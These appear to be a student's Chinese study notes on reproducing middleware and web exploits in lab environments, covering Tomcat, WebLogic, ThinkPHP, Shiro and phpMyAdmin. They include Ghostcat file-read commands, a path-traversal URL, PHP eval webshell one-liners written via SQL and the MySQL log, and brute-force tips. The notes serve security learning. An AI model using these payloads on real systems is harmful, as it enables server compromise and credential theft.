第11周中间件漏洞
一.总结一下之前的OWASTP TOP 10
Web应用=一座大楼一样。
应用程序代码=大楼里的一个个家庭
中间件/框架就=大楼的水电管道和建筑结构(现成的组件)
OWASTP TOP 10 漏洞=大楼最常见的10种安全隐患(门锁不牢固,窗户易碎)
中简件/框架漏洞=建筑材料的质量问题或者管道系统的设计缺陷。(例子:一位网友坚持磨了2267天,将一根HRB400螺纹钢磨成了像针一样的物件,而HRB400 螺纹钢在是建筑工程钟是非常常用的钢筋材料,如果真给网友磨成针,那大部分建筑物都会重现建造。非常恐怖了。)
一.中间件漏洞
中间件漏洞复现是网络安全研究中的重要环节,通过复现漏洞可以帮助我们理解漏洞的原理和危害,并制定相应的防护措施。以下是一些常见中间件漏洞的复现方法
二.Tomcat漏洞
1.Tomcat 介绍
Tomcat 是一个开源的 Java Servlet 容器和 Web 服务器,由 Apache 软件基金会开发。它是 Java EE(现 Jakarta EE)规范中 Servlet、JSP(JavaServer Pages)和 WebSocket 技术的官方参考实现。 Tomcat 作为轻量级的 Java Web 服务器,因其简单易用、性能良好和开源免费的特点,成为 Java Web 开发中最受欢迎的应用服务器之一。
<?xml version='1.0' encoding='utf-8'?>
<Server port="8005" shutdown="SHUTDOWN"><Listener className="org.apache.catalina.startup.VersionLoggerListener" /><Listener className="org.apache.catalina.core.AprLifecycleListener" SSLEngine="on" /><Listener className="org.apache.catalina.core.JasperListener" /><Listener className="org.apache.catalina.core.JreMemoryLeakPreventionListener" /><Listener className="org.apache.catalina.mbeans.GlobalResourcesLifecycleListener" /><Listener className="org.apache.catalina.core.ThreadLocalLeakPreventionListener" /><GlobalNamingResources><Resource name="UserDatabase" auth="Container"type="org.apache.catalina.UserDatabase"description="User database that can be updated and saved"factory="org.apache.catalina.users.MemoryUserDatabaseFactory"pathname="conf/tomcat-users.xml" /></GlobalNamingResources><Service name="Catalina"><Connector port="8080" protocol="HTTP/1.1"connectionTimeout="20000"redirectPort="8443" /><Connector port="8009" protocol="AJP/1.3" redirectPort="8443" /><Engine name="Catalina" defaultHost="localhost"><Realm className="org.apache.catalina.realm.LockOutRealm"><Realm className="org.apache.catalina.realm.UserDatabaseRealm"resourceName="UserDatabase"/></Realm><Host name="localhost" appBase="webapps"unpackWARs="true" autoDeploy="true"><Valve className="org.apache.catalina.valves.AccessLogValve" directory="logs"prefix="localhost_access_log." suffix=".txt"pattern="%h %l %u %t "%r" %s %b" /></Host></Engine></Service>
</Server>
- 定义默认的 MIME 类型映射
- 配置会话超时时间
- 定义错误页面
- 配置安全约束。
2.靶场地址
可以使用vulhub-master靶场自己在本地搭建,可以使用线上环境(vulfocus,虽然很久没有更新了,但是可以的。不过有时间限制,避免有人占着茅坑)。vulfocus
本地搭建时注意weblogic靶场占用空间比较大,全部靶场练习完毕可以清理掉。
3.漏洞利用工具
goby
GitHub - lizhianyuguangming/TomcatScanPro: tomcat自动化漏洞扫描利用工具,支持批量弱口令检测、后台部署war包getshell、CVE-2017-12615 文件上传、CVE-2020-1938/CNVD-2020-10487 文件包含
几乎每个中间件在github都会有相关的工具的。
4.Tomcat 弱⼝令 && 后台getshell漏洞
1.登录后台
http://your-ip:8080/manager/html输⼊弱密码 tomcat:tomc
现在开始部署文件。getshell
2.那么什么是war
.war文件,即Web存档文件,是一个包含Web应用程序所有内容的文件格式,它通过将所有文件合并为一个单位来减少传输文件所需的时间。这种文件格式特别适用于Web开发,通常包含一个网站项目下的所有源码,如HTML、CSS、JS、JSP等前端代码,以及编译后的Java代码。(相当于一个压缩包)
生成war包
1.首先生成一个jsp的shell,因为tomcat是java写的,并且保存到
2.再该目录打开cmd,输入
jar -cvf shell.war shell.jsp (前面的名字无所谓,但是后面的名字一定要跟创建的jsp名字相等)
但是我们直接访问网站时显示的是404,我们只有加入刚刚war里面的jsp才能成功访问
然后再用蚁剑连接。
5.CVE-2020-1938(Ghostcat)漏洞
这玩意非常厉害了,这个漏洞是不需要特定条件的,开启什么参数之类的。它就是只要使用了这个版本,默认都会有的。
Apache Tomcat 默认会开启 AJP(Apache JServ Protocol)服务(端口 8009),用于与前端 Web 服务器(如 Apache HTTPD)通信。
由于 AJP 协议设计缺陷,攻击者可利用该漏洞:
- 读取 Web 应用目录下的任意文件(如 WEB-INF/web.xml,可能泄露敏感信息,数据库密码,默认口令)。
- 在特定条件下实现远程代码执行(RCE)(如结合文件上传漏洞)。
影响范围较大
- Apache Tomcat 6.x
- Apache Tomcat 7.x < 7.0.100
- Apache Tomcat 8.x < 8.5.51
- Apache Tomcat 9.x < 9.0.31。
复现步骤
利用vulfocus部署
再打开工具,所以几乎大部分中间价都会有相应的工具。
GitHub - YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi: Tomcat-Ajp协议文件读取漏洞
-P 后面接的是端口 -f指的是文件位置和文件名字 默认的是file path :(WEB-INF/web.xml)
python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py -p 54604 123.58.224.8python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py -p 54604 123.58.224.8 -f WEB-INF/web.xml读取webshell(前提是里面得有这玩意)python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py -p 54604 123.58.224.8 -f flag.png
三.Weblogic漏洞
WebLogic 是 Oracle 公司开发的一款企业级 Java EE (现 Jakarta EE) 应用服务器,是市场上最成熟、功能最全面的应用服务器之一。
- WebLogic Server:核心应用服务器
- Node Manager:远程服务器管理工具
- Administration Console:基于 Web 的管理界面(跟tomcat一样,如果存在弱口令就能进去后台上传东西)
- WLST (WebLogic Scripting Tool):命令行和脚本管理工具
漏洞利用工具
goby
1.Weblogic 弱口令漏洞
1.漏洞描述
http://your-ip:7001/console 即可进入后台,由于管理员的疏忽,有可能会设置一些弱口令,攻击者可以通过常见的口令猜解进入后台,再通过后台getshell。
2.影响范围
3.靶场启动
docker-compose up -d
启动环境之后,访问后台地址
http://your-ip:7001/console
使用弱口令爆破时,这玩意如果超过5次的话就会锁IP,之后的就没什么意义了。





1.任意文件读取漏洞利用
http://your_ip:7001/hello/file.jsp?path=etc/passwd


2.读取后台的用户的密文与密钥
因为weblogic为商业产品,对安全和稳定性的要求高,会对密码进行加密。
Weblogic使用的是AES加密(老版本使用3DES).由于是对此加密,如果我们获取了密文与密钥,就可以解密了。而两个文件位于
- SerializedSystemIni.dat 加密密钥文件 位置:/security/SerializedSystemIni.dat
- config.xml 包含加密密码的文件 位置:./config/config.xml
记得保存为SerializedSystemIni.dat
然后开始解密,使用工具
在这个位置。
再利用工具
java -jar weblogic_decrypt.jar
如果不成功,有可能是java版本过高,用java8就行了。
2.CVE-2014-4210 SSRF漏洞
SSRF(Server-Side Request Forgery),服务端请求伪造,是一种由攻击者构造形成由服务端发起请求的一个漏洞,一般情况下,SSRF攻击的目标是从外部网络无法访问的内部系统。
影响范围
10.0.2,10.3.6
靶场开启
用vulfocus就行了。直接利用burp输入dnslog来检查是否有SSRF漏洞。
也可以用goby
3.weblogic密文
分为两类
一种为数据库连接字符
一种是console的登陆用户名和密码
四.Thinkphp漏洞
ThinkPHP是一个快速、兼容而且简单的轻量级国产PHP开发框架,诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,遵循Apache2开源协议发布,从Struts结构移植过来并做了改进和完善,同时也借鉴了国外很多优秀的框架和模式,使用面向对象的开发结构和MVC模式,融合了Struts的思想和TagLib(标签库)、RoR的ORM映射和ActiveRecord模式。国⼈开发的框架,上⼿简单,开发成本低,搭建容易。
这玩意就是一个模板,如果有漏洞,所有使用这个模板的都会有漏洞。而上面的两个就相当于地基。
1.版本历史
ThinkPHP发展至今,核心版本主要有以下几个系列,ThinkPHP 2系列、ThinkPHP 3系列、ThinkPHP5系列、ThinkPHP 6系列,各个系列之间在代码实现及功能方面,有较大区别。其中ThinkPHP 2以及ThinkPHP 3系列已经停止维护,ThinkPHP 5系列现使用最多,而ThinkPHP 3系列也积累了较多的历史。
2.特征
也能从错误信息发现php是什么版本的。
3.漏洞利用
4.ThinkPHP 5.x GetShell
因为这个版本是使用的人较多的。根据ThinkPHP版本,如是0.x版本,即可使用ThinkPHP 5.x远程远程代码执行漏洞,无需登录,即可执行任意命令, 获取服务器最高权限。
靶场搭建
vulhub-master\thinkphp\5-rce
docker-compose up -d
http://your_ip:8080/index.php?s=index/think%5Capp/invokefunction&functi
5.工具的使用
GitHub - Lotus6/ThinkphpGUI: Thinkphp(GUI)漏洞利用工具,支持各版本TP漏洞检测,命令执行,getshell。
Thinkphp(GUI)漏洞利用工具,支持各版本TP漏洞检测,命令执行,getshell。毕竟这么多的漏洞手动输入得整到猴年马月。
java -jar ThinkphpGUI-1.3-SNAPSHOT.jar
有可能会卡住,自己操作时小心点,而且如果不能运行时,试一下切换java版本,因为大多数工具都是利用java8编写的。
五.Shiro反序列化漏洞
序列化,把对象(我们的目标),转换为字节序列方便运输。例子工厂生成风力发电时的巨型的风车,从工厂建造完成后想要把它运输到目的地得把它拆掉从而方便运输。
反序列化:就是把字节序列转换为对象的过程称为反序列化。紧接着上面的例子,到达目的地的时候,把拆掉的零件组装成巨型风车。
在反序列化时,存在用户可控的参数,并且在读取反序列化内容时存在危险的调用函数,造成反序列化漏洞。就像风车组装部分的时候,有可能会组装完成后发现还漏了几个零件,这时候就危险了。这个不明显的话可以想像修车,修轿车的刹车时,修好后,猛地发现还剩下几个零件。
1.为什么要反序列化
总结如下:
- 序列化的必要性:当传输代码对象时,必须先进行序列化(将对象转换为二进制序列可传输的二进制序列),否则会导致格式破坏或内容丢失;到达目的地后,再通过反序列化还原为代码对象以完成通信。
- 反序列化的定义:将传输过来的二进制序列还原为原始代码对象的过程。
- 反序列化漏洞成因:
- 程序在反序列化过程中,需要根据数据内容调用特定方法
- 黑客利用这一逻辑,在数据中嵌入恶意代码(如系统命令)
- 程序未对用户输入内容进行有效检测和过滤,导致恶意代码在反序列化时被执行
- 最终可能造成代码执行、getshell 等攻击后果
检测工具
goby和Hyacinth(支持是java的语言)
2.漏洞复现
1.Shiro反序列化漏洞(CVE-2016-4437、Shiro-550)
AES加密的密钥Key被硬编码在代码里(默认密钥:kPH+bIxk5D2deZiIxcaaaA==),这就意味着任何人都可以通过源代码拿到AES加密的密钥。而这个是代码开源的。
影响范围:Apache Shiro ≤ 1.2.4
实验演示:
利用vulfocus 启动shiro反序列化漏洞。
- 未登录的情况下,请求包的Cookie中没有RememberMe字段,返回包set-Cookie里也没有deleteMe字段
- 登录失败的话,不管有没有勾选“Remember me",返回包都会有RememberMe=deleteMe字段
- 不勾选“Remember me",登录成功的话,返回包set-Cookie里有RememberMe=deleteMe字段,但是之后的所有请求中Cookie都不会有RememberMe字段
- 勾选“Remember me",登录成功的话,返回包set-Cookie里有RememberMe=deleteMe字段,还会有RememberMe的加密字段,之后的所有请求中Cookie都会有RememberMe字段。
通过rememberMe=deleteMe可以判断使用了shiro,也可以通过之前的burp中的插件明动来查看
如果是一个不显示的我们可以使用DNSlog来判断是否存在漏洞。
现在利用工具来整shiro反序列化漏洞,不过不知道我的Hyacinth爆破利用链时一直没好,所以换了个工具ShiroAttack2,专门是shiro反序列化漏洞的,就是这个命令执行的时候要等待一会时间。
内存马,意味木马存在内存当中,没有文件。
再利用蚁剑连接
六.phpmyadmin漏洞
phpMyAdmin 是一个用php编写的免费软件工具,旨在通过Web友好界面处理MySQL的管理。 phpMyAdmin 支持对 MySQL 和 MariaDB 数据库的广泛操作。经常使用的操作(有如管理数据库、 表、列、关系、索引、用户、权限等)可以通过用户界面执行,当然您也可以直接执行任何 SQL 语句。
phpMyAdmin是可以直接安装在web网站上的,相当于一个网站。以一个文件夹的形式存在web服务器之上。跟Navicat比较。
phpMyAdmin | Navicat | |
部署与使用方式 | 是基于 Web 的工具,需要部署在 Web 服务器(如 Apache、Nginx)上,通过浏览器访问其 URL 即可使用,无需安装客户端。 | 是桌面客户端软件,需要在本地电脑(Windows、macOS、Linux 等)上安装后运行,通过连接数据库服务器进行操作。 |
功能侧重 | 功能相对基础但够用,主要满足日常的数据库管理需求,如创建库表、执行 SQL、导入导出数据等,界面简洁,更适合快速临时操作 | 功能更强大且全面,支持数据建模、可视化查询构建、数据同步、备份恢复、SSH 隧道连接等高级功能,适合复杂的数据库管理和开发场景。 |
安全性 | 因基于 Web,需注意配置安全(如限制访问 IP、启用 HTTPS 等),否则可能存在未授权访问风险 | 作为本地客户端,通常通过账号密码或加密连接数据库,安全性相对更易控制 |
phpmyadmin可以通过本地连接mysql,不管有不有开启远程登录,我们也可以爆破密码.
管理界面
登陆完后,和本地的mysql数据库一样。
就是输入sql代码有点卡。
getshell实用方法(常规版本||非常规版本):
我们可以通过目录扫描来发现phpmyadmin,因为它们的名字有可能是/pma,/phpmyadmin等。
1.通过sql写⼊getshell
- 当secure-file-priv的值为null ,表示限制mysqld 不允许导入|导出
- 当secure-file-priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
- 当secure-file-priv的值没有具体值时,表示不对mysqld 的导入|导出做限制。
输入
show VARIABLES like '%secure_file_priv%'
修改的话就是
打开文件路径D:\phpstudy_pro\Extensions\MySQL5.7.26,看到my.ini
修改secure_file_priv=
就可以了,记得重启mysql
select '<?php eval($_POST["pwd"]); ?>' into outfile 'D:/phpStudy_pro/WW
W/shell.php'; 不过在window下得换成\\ D:\\phpStudy_pro\\WW
W\\shell.php
2.利用日志getshell
MySQL5.0版本以上会创建日志文件,通过修改日志的全局变量打开日志并指定日志保存路径,再通过查询写入一句话木马,此时该木马会被日志记录并生成日志文件,从而GetShell。但是前提是要对生成的日志文件有读写权限。
# 查看⽇志相关配置,⽅便后续还原
show variables like '%general_log%'
# 如果⽇志是关闭状态,可以开启
set global general_log = 'on'
# 设置⽇志路径
set global general_log_file = "C:/Users/Administrator/Desktop/web/mall/1.ph
p"
select '<?php eval($_POST[pwd]); ?>';
qi
利用工具:phpMyAdminHacker
GitHub - mRJ0hN1/phpMyAdminHacker: phpMyAdmin渗透工具箱
不知道为什么,我的一直运行不了,如果谁能运行成功,帮一下我呗。
七.编辑器漏洞
和phpadmin一样,都是管理某个东西的,相当于单独一个网站,只需要布置在文件里就行了。
一般的企业搭建网站有可能采用了通用模板,比如wordpress,emblog,zblog,discuz,dedecms等等,这些现成的CMS后台如果需要发文章,可能会用到编辑器,比如ewebeditor,fckeditor,kindeditor,ueditor等等,这些编辑器是有专门的团队运营开发的。编辑器有可能存在漏洞,只要使用了该编辑器并且该编辑器的版本存在漏洞,那么网站就会存在相应的漏洞。
挖掘编辑器漏洞的思路:
- 通过目录扫描,爬虫识别编辑器
- 寻找编辑器版本对应的漏洞
- 利用该编辑器漏洞或者配合解析漏洞进行利用
八.其他web漏洞
1.越权漏洞(出现概率高)
越权访问(Broken Access Control)是Web应用程序中常见且危害极大的漏洞,常被OWASP列为Web应用十大安全隐患之首,其成因主要是开发人员在对数据进行增、删、改、查时,过分信任客户端请求数据而遗漏权限判定,导致应用在授权检查上存在纰漏,使得攻击者登录低权限账户后,可通过某些方式绕过权限检查,访问或操作其他用户信息甚至获取更高权限;该漏洞分为横向越权操作(水平越权)和纵向越权操作(垂直越权)两种类型,且因难以通过工具自动化检测,实际应用中危害显著,同时与未授权访问存在一定差别。与授权访问相比,需要一个访问账号。
- 水平越权:指相同权限下不同的用户可以互相访问。
- 垂直越权:指使用权限低的用户可以访问到权限较高的用户。
水平越权测试方法:要通过看看能否通过A用户操作影响到B用户。
垂直越权测试方法:看看低权限用户是否能越权使用高权限用户的功能,比如普通用户可以使用管理员的功能。
环境布置:
做渗透测试的时候可以找相关的人员要账号密码,实在没有可以弱口令来找出一个账号密码。
打开pikachu
登录后,利用burp中重放器来整,更改其中的username,从而造成水平越权。
垂直越权漏洞,登录低级账户
然后在访问/vul/overpermission/op2/op2_admin_edit.php,可以看出存在越权漏洞。
如何找到网址了。
首先登录高级账号进行修改操作。找到地址后,可以退出去,登录低级账号,看看能否越过高级账号来修改表。相当于一个集团公司,其中的cookie相当于我们的身份证,董事长是可以通过他的身份卡访问任何公司机密文件的,然而一个普通公司员工的身份卡,也可以访问机密。就说明存在越权漏洞
检测插件:Auth Analyzer
GitHub - ZFYy1x/auth_analyzer_modify: burp越权测试插件
使用:AuthAnalyzer使用说明_auth analyzer-CSDN博客
使用过程
注意:
贴入完整的header值,key value都要,包括冒号 。
这里的本质作用是替换header值,所以不仅仅cookie可以替换,如有需要其他的header值也可以填进去,换行分隔。
不同权限cookie的用户可以新建多个,可名命为user2、user3.。。。
首先设置,找到低权限的账号。
2.逻辑漏洞
由于程序逻辑输入管控不严,导致程序不能够正常处理或处理错误,进而产生的漏洞。一般出现在登录、注册、密码找回、信息查看、交易支付金额等位置,由于逻辑漏洞产生的流量多数为合法流量,一般的防护手段或设备无法阻止,也导致了逻辑漏洞成为企业防护中的难题。
如何查找漏洞
2.1注册处
注册功能可能出现任意用户注册、短信轰炸等问题。
前端验证方面,需判断是否存在任意用户注册漏洞。
手机验证码环节,需关注是否存在短信轰炸问题、验证码是否可暴力破解(如尝试0000-9999),以及验证码与当前手机号是否有检验匹配。
账号密码注册方面,需检查是否可以批量注册。
2.2登录处
登录处可能出现任意用户注册、短信轰炸等问题。
前端验证方面,需判断是否存在任意用户登录账号密码登录方面,需关注是否有验证码回显、是否可以通过修改返回包造成任意用户登录等问题;
手机验证码登录方面,需检查验证码是否可以暴力破解(如尝试0000-9999)、验证码与当前手机号有没有检验匹配;
账号密码登录还可能存在没有验证码、验证码失效、验证码可以重复利用或者验证码绕过等情况,这些问题可能导致攻击者进行暴力破解。
2.3密码找回处
- 前端验证绕过
- 验证码是否可以多次使用
- 验证码是否直接返回在数据包中
- 验证码未绑定用户
- 修改接收的手机或邮箱进行密码重置
- 验证步骤绕过(举例:先获取手机验证码,再输入要修改的邮箱或密码
- 未校验用户字段的值(举例:修改密码处user_id可替换)
2.4支付与越权
- 提交订单或者结算时对金额等参数进行修改(单价、总价)
- 提交订单时修改商品参数(低价购买高价商品
- 修改支付接口等等(将支付链接发给别人,这也解释了为什么支付宝在支付的时候还要再输一次密码)
靶场实验
3.暴力破解
到最后怎样都发现不了的话,只能用暴力破解来整,不过花费的时间相对较多。
暴力破解是一种针对密码的破译方法,将密码进行逐个推算直到找出正确的密码为止。
暴力破解的产生是由于服务器或者系统没有对接收的参数进行限制,导致攻击者可以通过暴力手段破解所需要的信息(如账号,密码,验证码等)。暴力破解的原理就是穷举法,其基本思想是根据部分已知条件确定大致范围,并在此范围内对所有可能的情况逐一验证,直到全部情况验证完毕。
字典:GitHub - TheKingOfDuck/fuzzDicts: You Know, For WEB Fuzzing ! 日站用的字典。挺多的
1.B/S破解
B/S架构即浏览器/服务器结构,参考pikachu靶场中的基于表单的暴力破解场景演示。涉及到burp的intruder